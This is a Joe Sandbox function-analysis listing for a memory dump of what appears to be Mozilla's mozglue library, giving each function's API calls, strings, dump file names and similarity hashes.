Function 6C965FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C966009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C966024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C90EE51,?), ref: 6C966046
OutputDebugStringA.KERNEL32(?,6C90EE51,?), ref: 6C966061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C966069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C966073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C966082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C98148E), ref: 6C966091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C90EE51,00000000,?), ref: 6C9660BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9660C4

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: eba1cd3e170824bf02ca4e97be0cbf5d64a06bd71bd60649a55f775a387811d0
Instruction ID: 315774de4efe2da1527dca5bdd0307dd9738d1e8ad726f9caf6c3d9bd2fd6252
Opcode Fuzzy Hash: eba1cd3e170824bf02ca4e97be0cbf5d64a06bd71bd60649a55f775a387811d0
Instruction Fuzzy Hash: 7421B571A012189FDF106F25DC09A9E7BB8FF46358F148828E85AD7681CB74E558CFE1

Function 6C967030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C967046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C967060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C96707E

Part of subcall function 6C9181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9181DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C967096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C96709C
LocalFree.KERNEL32(?), ref: 6C9670AA

Strings

(null), xrefs: 6C96706A, 6C967083
### ERROR: %s: %s, xrefs: 6C967087

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: cb533b89b4ce2f1bee569433ce542a834a35adc5259f0fc50585b35cc2e1d46c
Instruction ID: 02f9cb4e106de11229f33004c47a82c03b50ffe6d13ec20dd0d62b32a8cd78bd
Opcode Fuzzy Hash: cb533b89b4ce2f1bee569433ce542a834a35adc5259f0fc50585b35cc2e1d46c
Instruction Fuzzy Hash: 01012DB2A05118AFDB006F64DC0ADAF7BBCEF4A214F150838FA05E7242D631A914CBE1

Function 6C929E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C929EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C929F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C929F34
LeaveCriticalSection.KERNEL32(?), ref: 6C92A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C92A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C92A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C92A8B1, 6C92A8D4, 6C92A8EF

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e2fea63209e5b3589bce083a26d34c4fb5aa8a870ac894c82ec04629eabccaf8
Instruction ID: ee27b7447f4e422bc48908508aa2525869f499f9d8f61df6eec7d548fbdf3b84
Opcode Fuzzy Hash: e2fea63209e5b3589bce083a26d34c4fb5aa8a870ac894c82ec04629eabccaf8
Instruction Fuzzy Hash: 86729C72A257118FC304CF28C540615FBE5FF89728F29C6ADE8A99B795D739E841CB80

Function 6C952C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C952C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C952C61

Part of subcall function 6C904DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C904E5A
Part of subcall function 6C904DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C904E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C952C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C952E2D

Part of subcall function 6C9181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9181DE

Strings

(root), xrefs: 6C95354F
ProfileBuffer parse error: %s, xrefs: 6C952E3B
expected a Time entry, xrefs: 6C952E36

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 4b83dce4533f5263baf443f2c4b26418198518238d71dc1df9778f21178c6959
Instruction ID: b3ae557c639ad0896709d403c84e3f5c14dc0010aa68aa79bdbc7aa249290ef6
Opcode Fuzzy Hash: 4b83dce4533f5263baf443f2c4b26418198518238d71dc1df9778f21178c6959
Instruction Fuzzy Hash: 1A91DFB1609B808FC724CF24C4846AFB7F4AFDA358F90491DE59A8BB50DB30D959CB52

Function 6C92C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C92D4BB
0123456789abcdef, xrefs: 6C92C317

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 4e50eb1035578db37d211c479262e25156258248e9fce980b4e1cdfe54e3bb5a
Instruction ID: fc8d9223ade1c3d94f1b717aa8cecc039c3cda76c6291e4de6dbe75726be3de2
Opcode Fuzzy Hash: 4e50eb1035578db37d211c479262e25156258248e9fce980b4e1cdfe54e3bb5a
Instruction Fuzzy Hash: 3252D1316193418FE724CF18C4507AAB7F6EF8A318F24891DD8DA87B99D739D845CB82

Function 6C969E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C969F3D
__aulldiv.LIBCMT ref: 6C969F77
__aullrem.LIBCMT ref: 6C969F8C
__aulldiv.LIBCMT ref: 6C96A023

Strings

NaN, xrefs: 6C969EAB
-Infinity, xrefs: 6C969E60, 6C969E7B

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b8fd2c2bb2912e111ca3d52480d91fd27945c0f2605f1ddd04a08a5c5fce9452
Instruction ID: 1f2a9f33b58b8339ed8747ef98dc63330c03e749bfbfd382dbb4af0f64ef849c
Opcode Fuzzy Hash: b8fd2c2bb2912e111ca3d52480d91fd27945c0f2605f1ddd04a08a5c5fce9452
Instruction Fuzzy Hash: 1DC1BF71E04329CBEB14CFAAC8507AEB7B6EB95304F154529D406ABF80DB71ED49CB90

Function 6C90D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C90D7DD
, xrefs: 6C90DA88
@, xrefs: 6C90DAF6
1, xrefs: 6C90DBDD
9, xrefs: 6C90DE7F
0, xrefs: 6C90D852
8, xrefs: 6C90DC08
0, xrefs: 6C90DC7F

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 00141f3e3d4ca147c42b0d81670ddc5316930d19bc41ac15e4365b18ddcc1575
Instruction ID: 3cd5cfcba5ee61a25c264b34cf8369263d5a9abca95520d470953c1cfa479f59
Opcode Fuzzy Hash: 00141f3e3d4ca147c42b0d81670ddc5316930d19bc41ac15e4365b18ddcc1575
Instruction Fuzzy Hash: 1E62CD7270D7458FD711CE28C09076ABBFAAF86358F184A4DE8E54BB91C335D985CB82

Function 6C919F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C91A625
0, xrefs: 6C91A100
0, xrefs: 6C91AB22
' , xrefs: 6C91A3D8
1, xrefs: 6C91A824
9, xrefs: 6C91A5D6

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f6f43e6cc1f68096d7727ceb6b6ceb71a0e27b8ab62e60063403d782368830fc
Instruction ID: 91ce06e3791d09bfd875d63dbaf7c914fcac374bf7f573312ca16d27e04c8786
Opcode Fuzzy Hash: f6f43e6cc1f68096d7727ceb6b6ceb71a0e27b8ab62e60063403d782368830fc
Instruction Fuzzy Hash: 5B82EF3190D3598FD7018F19C08236EB7E6EB81758F558A2AE8D547E80DB34DD8ECB82

Function 6C90BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C90C1CB
__aulldiv.LIBCMT ref: 6C90C24C
__aulldiv.LIBCMT ref: 6C90C348
__aullrem.LIBCMT ref: 6C90C365
__aulldiv.LIBCMT ref: 6C90C37D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 91df86eb7699a5d721d28d7132cbbac1936a2289dce606aad9b06e38d90cf805
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 23321632B146128FC718DE2CC890666BBE6AFD9310F09876DE899CB395D730ED05CB91

Function 6C97545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C978A4B

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d5933b296622f223b70ed65dc412883072fa89a16b901924abbfa00ff47b07ee
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: EEB1E972E0111ACFDB24CF68CC907A8B7B2EF95314F1902A9C549EB791D730D995CBA0

Function 6C97542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9788F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C97925C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d68c4acb8a1712c9d74a1011cc93dc20d6899a0fdfa6cc5f936de5507cd0f925
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: EBB1C572E0111ACBCB24CF58C8816EDB7B6EF95314F150269C549EB785D730E999CBA0

Function 6C9750C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C978E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C97925C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: dd1d7bdb7f365e055c9ebc4f33ab21fd553ac069495db67d31f103b709e58958
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: A3A1D772E011178FDB24CE68CC807A9B7B6EF95314F1502B9C949EB785D730E999CBA0

Function 6C9577A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C957A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C957A93

Part of subcall function 6C925C50: GetTickCount64.KERNEL32 ref: 6C925D40
Part of subcall function 6C925C50: EnterCriticalSection.KERNEL32(6C98F688), ref: 6C925D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C957AA1

Part of subcall function 6C925C50: __aulldiv.LIBCMT ref: 6C925DB4
Part of subcall function 6C925C50: LeaveCriticalSection.KERNEL32(6C98F688), ref: 6C925DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C957B31

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 86e863b6d0b40c22137c97a956e7427e79471fdccc4d7a9eeddd2407bfbb65e0
Instruction ID: e9e0408a552815811ff8687cb05c62a9c1fddaa8a334ac161e690790b29d182f
Opcode Fuzzy Hash: 86e863b6d0b40c22137c97a956e7427e79471fdccc4d7a9eeddd2407bfbb65e0
Instruction Fuzzy Hash: 7CB1A0356183808BCB14CF24C49065FB7E3BFD5318F958A1CE99567B91DB70EA1ACB82

Function 6C946CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C946D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C946E1E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 0ff6542d4c163d4fd416b8ce4ff64821878db15279476136013eaa3931b5b556
Instruction ID: 170c9f8100b001ddc096ef49b6610dcb22fcb15ab110d3255f1854de36a9f4a1
Opcode Fuzzy Hash: 0ff6542d4c163d4fd416b8ce4ff64821878db15279476136013eaa3931b5b556
Instruction Fuzzy Hash: F6A180B46183808FC714CF24C480BAEBBF6BF99308F54895DE48A87751DB70E959CB92

Function 6C96B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C96B720
RtlNtStatusToDosError.NTDLL ref: 6C96B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C93FE3F,00000000,00000000,?,?,00000000,?,6C93FE3F), ref: 6C96B760

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 4e7bb0e70a0438b741b73f02ff397a3a14bd1977282be3925d639f44a5b695f9
Instruction ID: 569ec3823b453ad701aede4911b5c8efb5fdcfeadef2636c813769c9523db243
Opcode Fuzzy Hash: 4e7bb0e70a0438b741b73f02ff397a3a14bd1977282be3925d639f44a5b695f9
Instruction Fuzzy Hash: E7F0C2B0A0520CAEEF119AA2CC85BEFB7BC9B14719F105139E51165DC0E774D6CCD661

Function 6C924640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C924777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C925585, 6C9255A8, 6C9255C3, 6C925624

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 6ae5b9c55943219d9fa388f9ddebecf396ffe7786bbf00d59c68a9376dd57c02
Instruction ID: 0c9959771b86aa53f1ca42f08ed49ca8a16ac9179c3e54367e571386a8d52491
Opcode Fuzzy Hash: 6ae5b9c55943219d9fa388f9ddebecf396ffe7786bbf00d59c68a9376dd57c02
Instruction Fuzzy Hash: CFB27E71A257018FD308CF18C550715FBE6BFC5324B29C7ADE4AA8B6A9D775E841CB80

Function 6C9685F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C968C7C
__aulldiv.LIBCMT ref: 6C968DD7

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 45e94bbf8da654f4b96d36fc9fcf58ddccffa87d6dbe8b5094c790caa5131888
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 1C327F31F0011A8BDF1CCE9DC8A17BEB7B6FB89300F15852AD506BBB90DA349D458B95

Function 6C96B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9103D4,?), ref: 6C96B955
NtQueryVirtualMemory.NTDLL ref: 6C96B9A5

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

